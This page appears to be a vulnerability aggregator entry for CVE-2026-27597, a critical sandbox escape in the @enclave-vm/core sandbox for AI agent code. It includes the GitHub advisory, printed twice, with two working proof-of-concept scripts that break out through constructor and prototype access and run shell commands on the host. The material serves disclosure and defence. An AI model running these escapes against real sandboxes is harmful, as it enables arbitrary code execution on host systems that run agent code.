CVE-2026-27597
@enclave-vm/core is vulnerable to Sandbox Escape
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
@enclave-vm/core is vulnerable to Sandbox Escape
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
- Record
CVE-2026-27597- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-8617
10.0
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
- Record
EUVD-2026-8617- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-f229-3862-4942
10.0
@enclave-vm/core is vulnerable to Sandbox Escape
Summary
It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).
The issue has been fixed in version 2.11.1.
Details
It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.
When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.
When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).
Proof of Concept
PoC 1
const { Enclave } = require("@enclave-vm/core");
const enclave = new Enclave({
securityLevel: "SECURE",
toolHandler: () => {},
});
const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];
const glob = ho.getOwnPropertyDescriptors(this);
return {
res: glob.__host_memory_track__.value[["constructor"]]("return process")()
.getBuiltinModule("child_process")
.execSync("id")
.toString()
.split("\\n"),
};`);
result
.then((v) => console.log("success", v))
.catch((e) => console.log("failure", e));
PoC 2
const { Enclave } = require("@enclave-vm/core");
const enclave = new Enclave({
securityLevel: "STRICT",
toolHandler: () => {},
memoryLimit: 0,
});
const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];
const glob = ho.getOwnPropertyDescriptors(this);
const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');
let result;
const obj = {
[sym]: (depth, option, inspect) => {
result = inspect[['constructor']]
[['constructor']]('return process')()
.getBuiltinModule('child_process')
.execSync('id')
.toString();
},
};
glob.__safe_console.value.log(obj);
return { result }
`);
result
.then((v) => console.log("success", v))
.catch((e) => console.log("failure", e));
Impact
This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.
This constitutes Remote Code Execution (RCE) and should be considered Critical severity.
Remediation
The issue has been fixed in v2.11.0 with the following hardening measures:
- Strengthened intrinsic object isolation
- Improved console isolation
- Hardened host callback exposure paths
- Closed AST validation gaps
- Added additional defensive checks around constructor access and prototype traversal
All known escape paths demonstrated in the PoCs are now blocked.
Users are strongly advised to upgrade to v2.11.1 or later immediately.
Credit
Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.
- Record
GHSA-f229-3862-4942- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
10.0
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
- Record
CVE-2026-27597- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
10.0
@enclave-vm/core is vulnerable to Sandbox Escape
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
- Record
CVE-2026-27597- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-f229-3862-4942
10.0
@enclave-vm/core is vulnerable to Sandbox Escape
Summary
It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).
The issue has been fixed in version 2.11.1.
Details
It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.
When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.
When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).
Proof of Concept
PoC 1
const { Enclave } = require("@enclave-vm/core");
const enclave = new Enclave({
securityLevel: "SECURE",
toolHandler: () => {},
});
const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];
const glob = ho.getOwnPropertyDescriptors(this);
return {
res: glob.__host_memory_track__.value[["constructor"]]("return process")()
.getBuiltinModule("child_process")
.execSync("id")
.toString()
.split("\\n"),
};`);
result
.then((v) => console.log("success", v))
.catch((e) => console.log("failure", e));
PoC 2
const { Enclave } = require("@enclave-vm/core");
const enclave = new Enclave({
securityLevel: "STRICT",
toolHandler: () => {},
memoryLimit: 0,
});
const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];
const glob = ho.getOwnPropertyDescriptors(this);
const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');
let result;
const obj = {
[sym]: (depth, option, inspect) => {
result = inspect[['constructor']]
[['constructor']]('return process')()
.getBuiltinModule('child_process')
.execSync('id')
.toString();
},
};
glob.__safe_console.value.log(obj);
return { result }
`);
result
.then((v) => console.log("success", v))
.catch((e) => console.log("failure", e));
Impact
This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.
This constitutes Remote Code Execution (RCE) and should be considered Critical severity.
Remediation
The issue has been fixed in v2.11.0 with the following hardening measures:
- Strengthened intrinsic object isolation
- Improved console isolation
- Hardened host callback exposure paths
- Closed AST validation gaps
- Added additional defensive checks around constructor access and prototype traversal
All known escape paths demonstrated in the PoCs are now blocked.
Users are strongly advised to upgrade to v2.11.1 or later immediately.
Credit
Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.
- Record
GHSA-f229-3862-4942- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@enclave-vm/corenpm |
through 2.10.1 | 2.11.1 |
@enclave-vm/corenpm |
before 2.11.1 | 2.11.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | NetVanguard-cmd/CVE-2026-27597 | 2026-04-19 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27597 is a critical vulnerability (CVSS 10.0) in Agentfront Enclave, published February 25, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 1.01%, the 63rd percentile. Fixed in @enclave-vm/core 2.11.1.
References
github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942
github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db
nvd.nist.gov/vuln/detail/CVE-2026-27597
github.com/advisories/GHSA-f229-3862-4942
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27597.json
github.com/agentfront/enclave